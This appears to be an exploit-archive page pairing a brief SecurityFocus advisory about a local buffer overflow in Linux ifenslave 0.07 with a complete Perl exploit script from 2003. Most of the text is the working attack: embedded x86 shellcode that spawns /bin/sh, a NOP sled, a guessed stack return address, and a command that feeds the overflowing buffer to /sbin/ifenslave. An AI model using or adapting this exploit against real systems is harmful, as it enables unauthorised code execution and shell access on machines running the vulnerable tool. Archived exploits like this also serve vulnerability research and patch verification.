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45 lines
No EOL
1.5 KiB
Perl
Executable file
45 lines
No EOL
1.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7682/info
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ifenslave for Linux has been reported prone to a buffer overflow vulnerability.
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The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.
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It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of ifenslave. ifenslave is not installed setUID or setGID by default.
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It should be noted that although this vulnerability has been reported to affect ifenslave version 0.07 previous versions might also be affected.
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#!/usr/bin/perl
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#
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# expl-ifenslave.pl : Local buffer overflow exploit for
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# ifsenslave v0.07
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#
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# Exploit tested on RedHat 8
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#
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# Author :
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# jlanthea [contact@jlanthea.net]
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#
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# Syntax :
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# perl expl-ifenslave.pl # works for me with offset = -17
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$shellcode =
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"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0".
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"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd".
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"\x80\xe8\xde\xff\xff\xff/bin/sh";
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$offset = "0";
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if(@ARGV == 1) { $offset = $ARGV[0]; }
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$nop = "\x90";
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$esp = 0xbffff480;
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for ($i = 0; $i < (48 - (length($shellcode)) - 4); $i++) {
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$buffer .= "$nop";
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}
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$buffer .= $shellcode;
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$buffer .= pack('l', ($esp + $offset));
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print("Ifenslave local exploit by jlanthea - 2003\n");
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print("The new return address: 0x", sprintf('%lx',($esp + $offset)),
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"\n");
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exec("/sbin/ifenslave '$buffer'"); |